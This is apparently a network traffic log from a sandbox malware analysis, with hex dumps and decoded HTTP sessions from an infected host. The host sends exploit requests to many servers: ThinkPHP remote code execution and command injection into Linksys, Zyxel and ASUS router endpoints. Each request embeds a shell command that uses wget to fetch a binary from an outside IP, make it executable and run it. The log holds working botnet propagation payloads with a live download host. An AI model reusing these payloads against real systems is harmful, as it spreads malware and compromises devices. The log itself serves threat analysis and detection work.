65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 69 63 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 70 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 31 39 37 61 33 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 38 70 78 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en" id="facebook"> <head> <title>Facebook \| Error</title> <meta charset="utf-8"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="cache-control" content="no-store"> <meta http-equiv="cache-control" content="max-age=0"> <meta http-equiv="expires" content="-1"> <meta http-equiv="pragma" content="no-cache"> <meta name="robots" content="noindex,nofollow"> <style> html, body { color: #141823; background-color: #e9eaed; font-family: Helvetica, Lucida Grande, Arial, Tahoma, Verdana, sans-serif; margin: 0; padding: 0; text-align: center; } #header { height: 30px; padding-bottom: 10px; padding-top: 10px; text-align: center; } #icon { width: 30px; } h1 { font-size: 18px; } p { font-size: 13px; } #footer { border-top: 1px solid #ddd; color: #9197a3; font-size: 12px; padding: 5px 8px 6px 0; } </style>
Mar 21, 2024 05:17:28.035499096 CET	1286	IN	Data Raw: 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 3e 0a 20 20 20 20 20 Data Ascii: </head> <body> <div id="header"> <a href="//www.facebook.com/"> <img id="icon" src="//static.facebook.com/images/logos/facebook_2x.png" /> </a> </div> <div id="core"> <h1 id="sorry">Sorry, something wen
Mar 21, 2024 05:17:28.035514116 CET	569	IN	Data Raw: 42 79 49 64 28 27 68 65 6c 70 2d 6c 69 6e 6b 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 3c 20 32 Data Ascii: ById('help-link').style.display = 'none'; }; if (window.innerWidth < 200) { document.getElementById('sorry').style.fontSize = '16px'; }; if (window.innerWidth < 150) { document.getElementById('promise').

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	43584	112.168.173.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.944729090 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.238976002 CET	183	IN	HTTP/1.1 400 Bad Request X-Content-Type-Options: no-sniff Cache-Control: no-cache, no-store, must-revalidate Server: gSOAP/2.7 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	38494	112.78.126.80	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.211110115 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.474396944 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	43670	112.168.173.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.224168062 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.520963907 CET	183	IN	HTTP/1.1 400 Bad Request X-Content-Type-Options: no-sniff Cache-Control: no-cache, no-store, must-revalidate Server: gSOAP/2.7 Content-Length: 0 Connection: close
Mar 21, 2024 05:17:29.526953936 CET	183	IN	HTTP/1.1 400 Bad Request X-Content-Type-Options: no-sniff Cache-Control: no-cache, no-store, must-revalidate Server: gSOAP/2.7 Content-Length: 0 Connection: close
Mar 21, 2024 05:17:31.544745922 CET	183	IN	HTTP/1.1 400 Bad Request X-Content-Type-Options: no-sniff Cache-Control: no-cache, no-store, must-revalidate Server: gSOAP/2.7 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	50058	172.65.125.2	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.283828974 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	49018	88.205.24.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.389960051 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.574980974 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:29.483084917 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	56712	172.65.124.231	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.438967943 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	46212	184.179.68.53	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.490993977 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	56730	172.65.124.231	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.585998058 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	52884	213.196.46.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.678409100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.840954065 CET	133	IN	HTTP/1.1 301 Moved Permanently content-length: 0 location: https://127.0.0.1/cgi-bin/ViewLog.asp connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	60864	172.247.32.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.684155941 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:29.501044989 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:30.460922003 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:32.382858992 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:36.252127886 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.931221962 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:59.288942099 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.028557062 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	52302	178.128.37.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.839013100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.038188934 CET	379	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:29.038202047 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	52950	213.196.46.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.842823029 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.038520098 CET	133	IN	HTTP/1.1 301 Moved Permanently content-length: 0 location: https://127.0.0.1/cgi-bin/ViewLog.asp connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	37530	200.97.128.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.891176939 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.551183939 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.764797926 CET	1286	IN	HTTP/1.1 404 Not Found Content-Length: 1753 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Thu, 21 Mar 2024 04:19:11 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 68 31 3e 0d 0a 41 20 70 e1 67 69 6e 61 20 71 75 65 20 76 6f 63 ea 20 65 73 74 e1 20 70 72 6f 63 75 72 61 6e 64 6f 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 72 65 6d 6f 76 69 64 61 2c 20 6f 20 73 65 75 20 6e 6f 6d 65 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 61 6c 74 65 72 61 64 6f 20 6f 75 20 74 61 6c 76 65 7a 20 65 6c 61 20 6e e3 6f 20 65 73 74 65 6a 61 20 64 69 73 70 6f 6e ed 76 65 6c 20 74 65 6d 70 6f 72 61 72 69 61 6d 65 6e 74 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 6e 74 65 20 6f 20 73 65 67 75 69 6e 74 65 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 43 65 72 74 69 66 69 71 75 65 2d 73 65 20 64 65 20 71 75 65 20 6f 20 65 6e 64 65 72 65 e7 6f 20 64 6f 20 73 69 74 65 20 65 78 69 62 69 64 6f 20 6e 61 20 62 61 72 72 61 20 64 65 20 65 6e 64 65 72 65 e7 6f 73 20 64 6f 20 6e 61 76 65 67 61 64 6f 72 20 65 73 74 e1 